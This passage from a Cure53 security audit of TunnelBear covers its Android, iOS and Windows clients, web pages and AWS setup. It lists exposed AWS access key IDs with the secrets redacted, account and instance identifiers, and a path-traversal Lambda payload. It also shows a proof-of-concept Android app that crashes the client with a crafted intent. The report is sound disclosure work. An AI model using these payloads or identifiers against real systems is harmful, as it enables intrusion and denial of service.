Whilst determining the security impact of the issue described in ticket TB-10-027, the observation was made that an attacker can gain control over a number of AWS cloud accounts with different permissions. Notably, the API token was retrieved from the Bamboo Ansible playbook. Whilst the exact impact of this vulnerability would appear extensive and far-reaching, the testing team did not explore it further as it was deemed out of scope.

**List of composed AWS keys:**

- *apt_backport_builder_aws_key*
  - *AKIAJXFC6NIISP6B7DMQ*
  - *5[redacted]5*
- *filterpod_log_aws_access_key*
  - *AKIAIXLVGX6XRSQKJMZA*
  - *W[redacted]n*
- *go_graphite_aws_access_key*
  - *AKIAI46OPRY3SCB4PU7Q*
  - *C[redacted]R*
- *mfe_aws_access_key*
  - *AKIAIROGNWA3N5IA6EWA*
  - *c[redacted]a*
- *slothbear_s3_access_key*
  - *AKIAQW2EEHHZBMJ3CA6T*
  - *w[redacted]1*
- *tb_ecr_aws_access_key*
  - *AKIAIVDQB6J2BWKJPI4Q*
  - *L[redacted]t*
- *vmhost_setup_aws_access_key*
  - *AKIAI46OPRY3SCB4PU7Q*
  - *C[redacted]R*

Generally speaking, important secrets such as API keys to cloud providers must be handled with the utmost care and deliberation.

To mitigate this issue, Cure53 advises reviewing the reason why the Ansible Vault secret has been placed in the server and fixing the process if necessary.

## TB-10-032 WP5: Secrets Present in AWS ECS Task Definitions *(High)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Whilst analyzing the ECS configuration, the discovery was made that two of the definitions used by TunnelBear hold variables containing highly sensitive secrets. ECS task definition variables are metadata definitions, which should contain configurations that define the ECS cluster execution parameters. These variables can be accessed by any entity with the most basic read-metadata-only permissions, and cannot be encrypted.

**Affected EC2 tasks:**

```
arn:aws:ecs:ca-central-1:113810520231:task-definition/hivemind_scheduler:229
arn:aws:ecs:ca-central-1:113810520231:task-definition/hivemind_webserver:261
```

**Configuration excerpt:**

```
 "name": "hivemind_webserver",
                "image": [...]
                "essential": true,
                "environment": [
          [...]
        "name": "AIRFLOW__SMTP__SMTP_USER",
        "value": "REDACTED"
        "name": "AIRFLOW__SMTP__SMTP_PASSWORD",
        "value": "REDACTED"
        "name": "AIRFLOW__SCHEDULER__SCHEDULER_HEARTBEAT_SEC",
        "value": "REDACTED"
        "name": "AIRFLOW__WEBSERVER__SECRET_KEY",
        "value": "REDACTED"
        "name": "AWS_SECRET_ACCESS_KEY",
        "value": "REDACTED"
        "name": "PASSWORD_FOR_AIRFLOW_USER",
        "value": "REDACTED"
        "name": "AIRFLOW_CONN_AMAZON_REDSHIFT",
        "value": "REDACTED"
        "name": "ENV",
        "value": "production"
        "name": "AIRFLOW__LOGGING__REMOTE_BASE_LOG_FOLDER",
        "value": "REDACTED"
        "name": "AWS_S3_BUCKET",
        "value": "REDACTED"
        "name": "AIRFLOW_COMMAND",
        "value": "REDACTED"
        "name": "AWS_ACCESS_KEY_ID",
        "name": "AIRFLOW__CORE__FERNET_KEY",
        "value": "REDACTED"
        "name": "AIRFLOW_CONN_S3_TUNNELBEAR",
        "value": "REDACTED",
        "name": "AIRFLOW_CONN_RB_SECONDARY",
        "value": "REDACTED"
        "name": "NON_PERSISTENT_REDIS_HOST",
        "value": "REDACTED"
        "name": "AWS_PERSISTENT_REDIS_HOST",
        "value": "REDACTED"
        "name": "AIRFLOW_HOME",
        "value": "REDACTED"
        "name": "AIRFLOW__CORE__SQL_ALCHEMY_CONN",
        "value": "REDACTED"
        "name": "NON_PERSISTENT_REDIS_PASSWORD",
        "value": "REDACTED"
        "name": "PERSISTENT_REDIS_PASSWORD",
        "value": "REDACTED"
        "name": "AIRFLOW_CONN_TBEAR_SECONDARY",
        "value": "REDACTED"
        "name": "SURVEYMONKEY_AUTHORIZATION",
        "value": "REDACTED"
```

To mitigate this issue, Cure53 strongly advises ensuring that sensitive parameters are not stored within task definitions[4]. Furthermore, one can recommend leveraging AWS Secret Manager or AWS SSM for sensitive data storage. By implementing either of the two aforementioned services, any sensitive data of this nature will be stored and passed securely.

[4] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/specifying-sensitive-data.html

## Miscellaneous Issues

This section covers any and all noteworthy findings that did not lead to an exploit but might assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

### TB-10-002 WP4: Lack of General HTTP Security Headers *(Low)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Testing confirmed that the TunnelBear website lacks HTTP security headers in HTTP responses, which allows embedding the website's blog page on other origins. This does not directly lead to a security issue, yet it may aid attackers in their efforts to exploit other areas of weakness.

**Example affected request:**
```
GET /blog HTTP/2
Host: www.tunnelbear.com
[...]
```

**Response:**
```
HTTP/2 200 OK
Date: Tue, 18 Oct 2022 08:58:37 GMT
Content-Type: text/html; charset=utf-8
Age: 498934
Cache-Control: public, max-age=0
Ghost-Age: 0
Ghost-Cache: MISS
Ghost-Fastly: true
Via: 1.1 varnish
X-Cache: HIT
X-Cache-Hits: 1
X-Nf-Request-Id: 01GFN51X0MES9NJRHE6H7NFFQF
X-Request-Id: 50a6b2c8101ead8b2827ca20e73cc2033
X-Served-By: cache-fra19156-FRA
X-Timer: S1666083517.479705,VS0,VE2
Cf-Cache-Status: DYNAMIC
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
Cf-Ray: 75c012bf3b47aca4-TXL
```

The following list enumerates the headers that require review in order to prevent associated flaws:

- **X-Frame-Options**: This header specifies whether the web page is frameable. Although this header is known to prevent Clickjacking attacks, there are many other attacks that can be achieved when a web page is frameable[5]. It is recommended to set the value to either **SAMEORIGIN** or **DENY**.
- Note that the CSP framework offers similar protection to X-Frame-Options via methods that overcome some shortcomings of the aforementioned header. To optimally protect users of older browsers and modern browsers simultaneously, it is recommended to consider deploying the *Content-Security-Policy: frame-ancestors 'none';* header in addition.

All in all, the absence of adequate security headers is a negative practice that should be avoided. One can recommend inserting the following headers into every server response, including error responses such as *4xx* items. Generally speaking, Cure53 would like to reiterate the importance of deploying all HTTP headers at a specific, shared, and central location rather than randomly assigning them. This should either be handled by a load balancing server or a similar infrastructure. If the latter is deemed infeasible, mitigation can be achieved by deploying a web-server configuration and a matching module.

## TB-10-003 WP1: Insecure v1 Signature in Android Client *(Info)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Testing confirmed that the application is signed with the v1 APK signature, which is considered susceptible to the well-known Janus vulnerability[6]. This issue affects Android versions lower than 7 and means that attackers can inject malicious code into the APK without breaking the signature. The current app implementation permits a minimum SDK of 21, which constitutes one of the Android versions impacted by this issue.

**Affected file:**
*AndroidManifest.xml*

**Affected code:**
```
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="32" />
```

**Command:**
```
apksigner verify --print-certs -v TunnelBear_base.apk
[...]
Verified using v1 scheme (JAR signing): true
```

5 https://cure53.de/xfo-clickjacking.pdf
6 https://www.guardsquare.com/blog/new-android-vulnerability-allows-attac…ures-guardsquare

```
Verified using v2 scheme (APK Signature Scheme v2): true
Verified using v3 scheme (APK Signature Scheme v3): true
```

To mitigate this issue, one can recommend altering the *minSdkVersion* to at least 24 (Android 7) to only permit installations on Android versions that are not affected by the aforementioned vulnerability. In addition, future releases should only be signed with APK signatures constituting v2 and newer.

## TB-10-004 WP1: Crashes via Serialize Intents on Older Android APIs *(Low)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Whilst auditing the TunnelBear Android app's exported components, testing confirmed that sending a specially-crafted serialize intent to the *SplashActivity* exported activity causes the app to crash. This facilitates a scenario whereby malicious applications installed on the device can send crafted intents to the Android app in order to instigate a permanent crash. However, the crash was only confirmed on devices running Android 9 and below. As a result, this ticket was added to the *Miscellaneous* section and appropriately allocated a *Low* severity rating.

**PoC:**
The following code snippets demonstrate the method by which one can send a serialized dummy Java object as an intent, resulting in an application crash.

**Serializable class example:**
```
import java.io.Serializable;

public class SerializableTest implements Serializable {
    private static final long serialVersionUID = 1L;
    boolean b;
    short i;
}
```

The following code highlights an example *SerializableTest* class implementation, which sends the intent to the TunnelBear app's *SplashActivity*.

```
package com.example.maliciousapp;

import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.content.Intent;
import android.content.ComponentName;

public class MainActivity extends AppCompatActivity {
   @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

       // send intent
        Intent intent = new Intent();
        intent.setComponent(new
ComponentName("com.tunnelbear.android","com.tunnelbear.android.main.SplashActivi
ty"));
        intent.putExtra("test", new SerializableTest());
        startActivity(intent);
   }
}
```

**Log excerpt:**

```
FATAL EXCEPTION: DefaultDispatcher-worker-5
Process: com.tunnelbear.android, PID: 4376
java.lang.RuntimeException: Parcelable encountered ClassNotFoundException
reading a Serializable object (name = de.cure53.seba.utils.SerializableTest)
       at android.os.Parcel.readSerializable(Parcel.java:3140)
[...]
```

Notably, the app does not crash whilst sending the specially-crafted serialize intent on newer Android versions. Nevertheless, Cure53 advises correctly validating the data received via intents in order to ensure that intents received by the exported activities cannot result in a TunnelBear app crash. This would ensure that any scenario whereby a malicious application attempts to cause the application to crash by sending an intent is avoided.

## TB-10-005 WP1: Inadequate Default Encryption Strength in Android ESNI *(Info)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Testing confirmed that the HTTPS encryption for the communication to ESNI is established without specifying an adequate level of encryption strength. TLS also includes TLS versions 1.0 and 1.1, which are considered deprecated due to weak encryption functionality.

**Affected file:**
*tbear-android/app/src/main/java/com/tunnelbear/android/api/BearTrust.java*

**Affected code:**

```
case ESNI:
   if (esniSocketFactory == null) {
      SSLContext sslContextTLS = SSLContext.getInstance("TLS");
      sslContextTLS.init(null, new TrustManager[]{trustManager}, null);
      esniSocketFactory = sslContextTLS.getSocketFactory();
   }
```

To mitigate this issue, Cure53 advises retracting reliance on default settings and enforcing usage of a more secure TLS version. Specifically, the SSLContext should be initialized using TLSv1.2 at least.

### TB-10-008 WP5: Insecure CloudFront TLS Configuration *(Medium)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Testing confirmed that CloudFront distributions utilized by TunnelBear rely on configurations considered insecure defaults. The TLS/SSL configuration permits usage of TLS v1.0, which contains weak ciphersuites and known possible downgrade attacks that introduce security risks to the AWS organization. In addition, the observation was made that CloudFront distributions are not configured to redirect unencrypted HTTP traffic to HTTPS - the latter of which is considered a negative security practice.

**Affected distributions using TLSv1.0:**

```
arn:aws:cloudfront::113810520231:distribution/E14LNUC77M87XI
arn:aws:cloudfront::113810520231:distribution/E28VTN2Q8UHW4A
arn:aws:cloudfront::113810520231:distribution/E3QY63UHI7SHAH
arn:aws:cloudfront::113810520231:distribution/EKA4U3XSAMAHC
arn:aws:cloudfront::113810520231:distribution/E6W2H9L3N2O2H
arn:aws:cloudfront::113810520231:distribution/E14LNUC77M87XI
```

**Affected distributions without HTTPS:**

```
arn:aws:cloudfront::113810520231:distribution/E3QY63UHI7SHAH
arn:aws:cloudfront::113810520231:distribution/E2R3JO3YVE0Q6J
arn:aws:cloudfront::113810520231:distribution/E3T45YE1X0GLV1
```

To mitigate this issue, Cure53 recommends altering the configuration to exclude support for TLS v1.0. These configuration changes should be integrated into all CloudFront distributions used in production. Furthermore, one can advise incorporating a deployment template that ensures all CloudFront distributions are simultaneously deployed with the same configuration.

## TB-10-009 WP3: Arbitrary File Write in AWS Lambda Function *(Info)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Testing confirmed that the log validator Lambda function is vulnerable to arbitrary file writes. Since the filename is not checked for file separators, an attacker may be able to escape the temporary directory.

However, the current configuration prevents an attacker from taking advantage of this vulnerability, since the TunnelBear API sanitizes the filename before calling the AWS Lambda. Additionally, the filesystem in the AWS server holding the source code is mounted using read-only mode.

**Affected file:**
*tbearClientLogValidator/src/function.py*

**Affected code:**
```
def lambda_handler(event, _context):
    filename = event['filename']
    data = event['contents']
    decoded = b64decode(data)
    with TemporaryDirectory() as d:
        path = Path(d).joinpath(filename)
        with open(path, 'wb') as f:
            f.write(decoded)
```

**Affected request:**
```
{
  "filename": "../permanent_file_in_tmp_1.zip",
  "contents": "QUFBQQ=="
}
```

Despite the current lack of exploitability, Cure53 nevertheless advises checking the filename in the AWS Lambda function before writing the ZIP file to the filesystem. Failing to do so can allow any entity with a permission to directly call the function and instigate a DoS by escaping the temp directory and filling the */tmp* filesystem permanently, which would prevent processing legitimate requests.

## TB-10-011 WP1: iOS HTML CAPTCHA View Shown for Arbitrary Domains *(Info)*

The iOS app implements a *WKWebView* to display HTML-based CAPTCHAs returned by Cloudflare. This view does not expose any native functions to the loaded web page, but does enable JavaScript. During the assessment, the observation was made that this feature is not restricted to TunnelBear-related domains. In the eventuality any HTTP response returns a *403 Forbidden* status code, a *Content-Type* of *text/html*, and the HTTP *cf-chl-bypass* response header, the response will be rendered by the aforementioned *WKWebView*.

If the iOS app suffers from a vulnerability that permits sending an arbitrary HTTP request, this behavior could allow an attacker to craft a convincing HTML phishing page, given that the HTML response is rendered inside the TunnelBear application.

**Affected file:**
*tunnelbear-apple/shared/api/Sources/API/ResponseValidations.swift*

**Affected code:**
```
func validateCustom() -> Self {
    return validate { _, response, data in
      switch response.statusCode {
         // These are the only status codes we care about defining as a 
APIClientError
      case 401: return ValidationResult.failure(APIClientError.unauthenticated)
      case 403:
        // Make sure this is capturing :smirk: only captcha reponses, others are 
handled the default way
        guard response.allHeaderFields["cf-chl-bypass"] != nil else {
          return ValidationResult.success(())
        }
        // Make sure it's HTML to show the user
        guard let contentType: String = response.allHeaderFields["Content-Type"] 
as? String, contentType.contains("text/html") else {
          return ValidationResult.success(())
        }
        let html = data.flatMap { String(data: $0, encoding: .utf8) }
        let url = response.url
        return ValidationResult.failure(APIClientError.captcha(html: html, url: 
url))
```

To mitigate this issue, Cure53 advises ensuring that the URL in question is verified as a domain associated with TunnelBear, which would render loading and displaying arbitrary HTML via the CAPTCHA functionality impossible.

## TB-10-012 WP1: Shared Hosting Reveals IP in iOS SplitBear Functionality *(Info)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

The SplitBear functionality allows a TunnelBear user to define domains, which should be routed outside the established VPN tunnel. During the assessment of this feature on iOS, the discovery was made that the implementation actually operates on IPs rather than domains. If a domain is set as an exception, any domain that is hosted on the same IP would bypass the VPN tunnel in addition. The only requirement to trigger this behavior is the necessity to load the domain set as an exception first, otherwise the bypass rule will not be established.

**PoC file (ip.php):**
```
<?php
header("Content-Type: text/html");
header("Cache-Control: no-cache, no-store, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");
?>
<!DOCTYPE html>
<body>
<h3>IP <?php
echo $_SERVER['REMOTE_ADDR'];
?></h3>
</body>
```

**Steps to reproduce:**
1. Add *outside.insert-script.com* as an exception in the SplitBear view. Do not include subdomains as exceptions.
2. Establish a Wireguard VPN tunnel.
3. Open *https://inside.insert-script.com/tbear_321/ip.php* in a web browser. The VPNs public IP is shown.
4. Open *https://outside.insert-script.com/tbear_321/ip.php.* Since this domain represents an exception and is routed outside the tunnel, the user's real public IP will be shown.
5. Re-open *https://inside.insert-script.com/tbear_321/ip.php* in a web browser. In contrast to Step 3, the user's real IP will be shown even if the domain is not added as an exception.

Since Wireguard routing operates on the IP layer and is not linked to DNS lookups, this behavior is unfortunately relatively challenging to address. Given that this issue requires shared hosting to be used on an excluded domain, this information could be displayed to the user to ensure they are aware of this feature's shortcomings.

## TB-10-013 WP2: Known Vulnerabilities in Outdated Docker Containers *(Medium)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Whilst analyzing the utilized Docker images, the observation was made that some images are outdated and facilitate well-known security vulnerabilities. These security vulnerabilities persist CVEs and several have been officially categorized as *Critical* in nature.

**Docker container examples:**

- *filterpod-blockpage*
- *filterpod-frontend*

***Critical* CVEs and patch level (selected examples):**

| CVE ID | Component | Installed version |
|---|---|---|
| CVE-2021-3918 | *json-schema* | 0.2.3 |
| CVE-2021-3807 | *ansi-regex* | 4.1.0 |
| CVE-2021-44906 | *minimist* | 1.2.5 |
| CVE-2020-14040 | *golang.org/x/text* | v0.3.2 |

Generally speaking, ensuring usage of up-to-date Docker images with all upstream security patches applied is integral to the security of a deployment. Since this is by no means considered a simple task, Cure53 recommends utilizing one of the available solutions to scan deployed images for known vulnerabilities and then taking appropriate action.

Ideally, a tooling for this area should be integrated into the CI/CD platform and the setup should be complemented by a mechanism that checks for updates that may have been released post-deployment. Automatic update and redeployment of these outdated images will make the process seamless and negate the requirement for any manual effort from the TunnelBear team.

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

## TB-10-014 WP5: IMDSv1 Enabled for Several AWS EC2 Instances *(Medium)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Whilst analyzing the configuration utilized throughout the TunnelBear infrastructure, the observation was made that several of the EC2 instances enabled the first generation of the AWS instance metadata service. In the eventuality an attacker is able to reach the metadata endpoint via a Server-Side-Request-Forgery or similar attack, the metadata layer would provide them with queryable privileged information from this endpoint.

Since this attack vector is commonly used, AWS has developed additional protections against attacks targeting the metadata service. The IMDSv2[7] service safeguards the instances from SSRF attacks by implementing a token that can only be obtained by making a specific request using the *HTTP PUT* requests.

**Affected instances:**
```
ca-central-1: EC2 Instance i-0ea89d9692d5300d6
ca-central-1: EC2 Instance i-02a789a6bc20e4bb4
ca-central-1: EC2 Instance i-004816149c798daaf
ca-central-1: EC2 Instance i-063491871f4963bb9
eu-central-1: EC2 Instance i-0ccf2039fae52cc6c
eu-central-1: EC2 Instance i-0621bfd0e0d2a2e47
eu-central-1: EC2 Instance i-03d81d5c69dbed7a8
eu-central-1: EC2 Instance i-08caf61193436b158
us-east-1: EC2 Instance i-68e968db
us-east-1: EC2 Instance i-0b2cadf6726aa99de
us-east-1: EC2 Instance i-088c5954255db7b9e
us-east-1: EC2 Instance i-0ec50b06ea673c110
```

In order to improve the overall security posture and adhere to defense-in-depth concepts recommended for the AWS infrastructure, Cure53 strongly advises enabling and configuring the new and improved *metadata* service instance.

[7] https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html

## TB-10-015 WP5: Outdated Runtimes for Node.js Lambdas *(Info)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

While analyzing the Lambda functions leveraged by TunnelBear, the discovery was made that several functions contain outdated and vulnerable versions of Node.js, which has already reached its end-of-life[8] phase as of April 30th 2021. Nevertheless, due to the limited exposure of the affected Lambda function, the severity of this ticket was appropriately downgraded to *Info*.

**Affected functions:**
```
nodejs10.x used by: polarbear-staging-logdna_cloudwatch
nodejs10.x used by: payment-staging-jobs-logdna_cloudwatch
nodejs10.x used by: dashboard-staging-jobs-logdna_cloudwatch
nodejs10.x used by: polarbear-test-logdna_cloudwatch
nodejs10.x used by: rb-production-jobs-logdna_cloudwatch
nodejs10.x used by: dashboard-prod-logdna_cloudwatch
nodejs10.x used by: overseer-test-logdna_cloudwatch
nodejs10.x used by: overseer-prod-logdna_cloudwatch
nodejs10.x used by: core-staging-logdna_cloudwatch
nodejs10.x used by: overseer-staging-logdna_cloudwatch
nodejs10.x used by: rb-production-logdna_cloudwatch
nodejs10.x used by: payment-test-logdna_cloudwatch
nodejs10.x used by: dashboard-test-logdna_cloudwatch
nodejs10.x used by: core-prod-jobs-logdna_cloudwatch
nodejs10.x used by: core-test-logdna_cloudwatch
nodejs10.x used by: dashboard-staging-logdna_cloudwatch
nodejs10.x used by: payment-staging-logdna_cloudwatch
nodejs10.x used by: overseer-prod-jobs-logdna_cloudwatch
nodejs10.x used by: manage-test-logdna_cloudwatch
nodejs10.x used by: payment-prod-jobs-logdna_cloudwatch
nodejs10.x used by: axon-staging-logdna_cloudwatch
nodejs10.x used by: rb-staging-jobs-logdna_cloudwatch
nodejs10.x used by: axon-prod-logdna_cloudwatch
nodejs10.x used by: polarbear-prod-logdna_cloudwatch
nodejs10.x used by: dashboard-prod-jobs-logdna_cloudwatch
nodejs10.x used by: core-staging-jobs-logdna_cloudwatch
nodejs10.x used by: rb-staging-logdna_cloudwatch
nodejs10.x used by: manage-staging-logdna_cloudwatch
nodejs10.x used by: payment-prod-logdna_cloudwatch
nodejs10.x used by: manage-prod-logdna_cloudwatch
nodejs10.x used by: core-prod-logdna_cloudwatch
```

[8] https://aws.amazon.com/blogs/developer/announcing-the-end-[...]-10-x-in-the-aws-sdk-for-javascript-v3/

To mitigate this issue, Cure53 recommends ensuring that security-related updates are regularly implemented. TunnelBear should also ensure that Lambda functions cannot be exploited directly or used in a potentially exploitative chain.

## TB-10-016 WP5: Expired Certificates in AWS ACM Configuration *(Info)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

The testing team observed that the current configuration attached to ACM and specifically related to the certificate configuration leveraged by TunnelBear contains expired certificates. This should not be considered a significant security issue in isolation but rather indicates continued usage of a negative security practice and potentially a lack of a sufficient renewal process for certificates.

**Affected configuration:**

- `113810520231:certificate`
  - `cb8f0491-b28b-4e94-9e88-d01fdd1bd35f`
    - **`www.bearsmyip.com expired 765 days ago`**
  - `84463049-4dd2-4ba4-a463-b602bc3400ce`
    - **`test-aws.polargrizzly.com expired 859 days ago`**
  - `12c58b78-62f0-400c-9faa-65d58bb6501c`
    - **`ecsdemo.tunnelbear.com expired 548 days ago`**
  - `b70af9b2-a89f-428d-b0da-ce8d3565e513`
    - **`server expired 110 days ago`**
  - `b7cd3c4-2086-48cc-a70b-4048505cc7c4`
    - **`client1.domain.tld expired 110 days ago`**
  - `260ebaaf-ef49-4d35-a5d7-88992e8e14fc`
    - **`*.polargrizzly.com expired 918 days ago`**
  - `30247dc6-a09e-445e-b700-3b6c0d159991`
    - **`api.polargrizzly.com expired 195 days ago`**
  - `feeee8ab-181c-461c-8b3e-1dae87f42ac4`
    - **`*.remembear.com expires in 2 days`**

To mitigate this issue, Cure53 recommends ensuring that the configurations attached to SSL certificates used by TunnelBear are up-to-date. Furthermore, the developer team must guarantee that a process or policy is in place to notify system operations that a certificate is reaching expiry. Automation of the renewal process could be considered in order to maintain only valid SSL certificates in the production environment.

## TB-10-022 WP2: Outdated Linux Kernel and UserLAnd Software *(Low)*

During a deep-dive investigation of the VPN servers, the observation was made that some servers were not properly maintained. Here, testing confirmed that the installed kernel and several application packages were not updated to their latest available iterations. This issue should not be considered a security vulnerability in isolation but rather indicates the absence of a stringent update procedure.

**Example server:**
*vpn-20220512-staging-as154508013930*

**Outdated software:**

- *apt*
- *apt-utils*
- *base-files*
- *containerd.io*
- *distro-info-data*
- *docker-ce*
- *docker-ce-cli*
- *docker-ce-rootless-extras*
- *docker-scan-plugin*
- *initramfs-tools*
- *initramfs-tools-bin*
- *initramfs-tools-core*
- *iproute2, klibc-utils*
- *libapt-inst2.0*
- *libapt-pkg5.0*
- *libaudit-common*
- *libaudit1*
- *libc-bin*
- *libc-dev-bin*
- *libc6*
- *libc6-dev*
- *libkeyutils1*
- *libklibc*
- *libpam-modules*
- *libpam-modules-bin*
- *libpam-runtime*
- *libpam0g*
- *libsensors4*
- *linux-base*

- *linux-firmware*
- *locales*
- *login*
- *multiarch-support*
- *netplan.io*
- *nplan*
- *openssh-client & openssh-server*
- *openssh-sftp-server*
- *passwd*
- *ubuntu-advantage-tools*
- *ubuntu-keyring*

**Outdated Kernel running on server:**

```
root@vpn-20220512-staging-as154508013930:/home/cure53# uptime
09:00:47 up 179 days, 17:03,  1 user,  load average: 0.05, 0.11, 0.16
```

Generally speaking, retaining up-to-date servers and software should be considered an essential facet of informational security. Therefore, Cure53 strongly advises establishing a process whereby all servers persist the latest available iteration, which will undoubtedly strengthen the security of the system and network as a whole.

## TB-10-023 WP5: Sensitive Parameters in Lambda Configuration *(Info)*

While assessing the configuration attached to Lambda functions used by TunnelBear, the observation was made that several Lambdas store sensitive parameters. This should be regarded as a negative security practice and avoided where possible.

**Configuration excerpt:**

```
FUNCTIONS     X9R91JrXg3DQp8wy5HrPpfbK/q0asIl3litpcs5EZdQ=   2230510
       arn:aws:lambda:ca-central-1:113810520231:function:polarbear-staging-
logdna_cloudwatch    polarbear-staging-logdna_cloudwatch      index.handler 2020-
08-13T18:29:05.127+0000    128    Zip    18d5a5d0-b50f-4792-b7f7-045dcdfac23a
       arn:aws:iam::113810520231:role/polarbear-staging-lambda-execute-role
       nodejs10.x    3      $LATEST
ARCHITECTURES x86_64
VARIABLES     polarbear-staging    9c650e9c76b9aae3f32790a41b683e3f         true
TRACINGCONFIG PassThrough
```

To mitigate this issue, Cure53 advises implementing Simple Systems Manager (SSM) as well as leveraging AWS parameters and the secrets Lambda extension[9] for the configuration in question. Storing sensitive items as SecureString in SSM severely

[9] https://docs.aws.amazon.com/systems-manager/latest/userguide/ps-integration-[...]-extensions-add

reduces the risks associated with storing, passing, or manipulating potentially sensitive information present in the variables.

## TB-10-024 WP1: Lack of URL Validation in Windows TunnelBear GUI (*Info*)

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

The observation was made that the Windows TunnelBear GUI displays different URLs, including support links, which are user viewable. These URLs are passed to the *Launch* function, which leverages *IsValidUrl* to verify that the link constitutes a valid *http* or *https* URL. Here, testing confirmed that this function's logic is incorrectly implemented, due to the fact that any string with a protocol is considered a valid locator.

Nevertheless, this behavior was insusceptible to abuse since all URLs are either hardcoded or retrieved via a TunnelBear API call.

**Affected file:**
*tunnelbear-windows/TunnelBear.UI/Services/BrowserService.cs*

**Affected code:**
```
public void Launch(string url)
{
    try
    {
        if (url.IsValidUrl())
        {
            Process.Start(url);
        }
        else
        {
            LoggerService.Log($"Attempt to open broweser with invalid url :
{url}");
        }
       catch (Exception)
           {
               try
               {
                   var sInfo = new ProcessStartInfo("start " + url);
                   Process.Start(sInfo);
               }
               catch (Exception)
               { }
           }
       }
```

**Affected file:**
*polarbear-windows/PolarSDK.Common/Extensions/StringExtensions.cs*

**Affected code:**
```
public static bool IsValidUrl(this string str)
        {
            if (!Uri.TryCreate(str, UriKind.Absolute, out var 
backendServerAddress)
                && (backendServerAddress.Scheme == Uri.UriSchemeHttp || 
backendServerAddress.Scheme == Uri.UriSchemeHttps))
            {
                return false;
            }
            return true;
        }
```

To mitigate this issue, Cure53 recommends adapting the logic of the *isValidUrl* function to ensure only *true* is returned when the specified URL can be parsed and actually specifies a *http://* or *https://* protocol scheme. This ensures that arbitrary protocols cannot be passed and loaded by the browser. Additionally, as highlighted above, the TunnelBear team should review whether loading a URL that causes an exception in the locator parsing via the *start* command remains necessary, and adjusting the configuration accordingly.

## TB-10-025 WP1: Lack of Parameter Validation in Windows Service *(Info)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

The observation was made that the Windows TunnelBear service heavily leverages *cmd.exe* to modify interfaces or system routes. Since this shell is initiated by the service, *SYSTEM* permissions are implemented by default. Here, testing confirmed that the service trusts the variables passed to *cmd.exe*.

Nevertheless, despite extensive efforts by the testing team, the ability to control any variable as a typical user to achieve privilege escalation by injecting additional shell commands was deemed impossible.

**Affected file:**
*polarbear-windows/PolarSDK.Wireguard/Services/Implementations/WireguardService.cs*

**Affected code:**
```
cmd.Run($"netsh interface ip set address \"{InterfaceIndex}\" static 
192.168.0.0/16");
```

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
cmd.Run($"netsh int ipv4 set subinterface \"{InterfaceIndex}\" mtu=1420
store=persistent");
cmd.Run($"route add 0.0.0.0 mask 128.0.0.0 192.168.0.1 IF {InterfaceIndex}");
cmd.Run($"route add 128.0.0.0 mask 128.0.0.0 192.168.0.1 IF {InterfaceIndex}");
cmd.Run($"route add {server.Host} mask 255.255.255.255 {gateway}");
```

To mitigate this issue, Cure53 recommends implementing validation checks for variables passed to the system shell. This defense-in-depth protection would ensure that the service cannot be abused to execute arbitrary shell commands in the eventuality an attack vector facilitates manipulation of any processed variables.

### TB-10-026 WP4: XSS on TunnelBear *whats-my-ip* Information Display (*Info*)

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

The observation was made that the TunnelBear *whats-my-ip* feature utilizes the Vue-JS leaflet popup library to display information concerning the user's connection. This custom element accepts a string via its *content* attribute, which is then rendered as HTML content. As a result, sufficiently HTML encoding any variables assigned to this property should be considered a necessity to avoid XSS vulnerabilities. As highlighted below, four alternate variables are passed to this property without applying any prior encoding. Despite this, the present behavior could not be abused during the frame of this audit, since the associated values retrieved from the backend are unlikely to be controlled by an attacker.

**Affected file:**
*web-bearsMyIP-v2-Vue/src/components/IPTracker/IPTracker.vue*

**Affected code:**
```
<l-popup ref="popup"
  :content="showDetailedPopupContent ?
    `<h3>${country}<h3/>` :
    `<h3>${location.city}, ${location.region}<h3/>
      <p>ISP: ${serviceProvider || 'unknown'}</p>`"
  :options="popupOptions">
</l-popup>
```

To mitigate this issue, even though the XSS sink remains insusceptible to abuse at present, the TunnelBear team should consider applying HTML encoding as an additional layer of defense. This would ensure that the code path cannot be exploited in the eventuality an attacker is able to gain control of one of the four highlighted variables.

## Conclusions

The impressions gained during this report - which details and extrapolates on all findings identified during the CW41 through CW45 testing against a number of TunnelBear VPN software and servers by the Cure53 team - will now be discussed at length. To summarize, the confirmation can be made that the components under scrutiny have garnered some cause for concern, with a relatively high volume of findings encountered and some exhibiting a high potential severity impact.

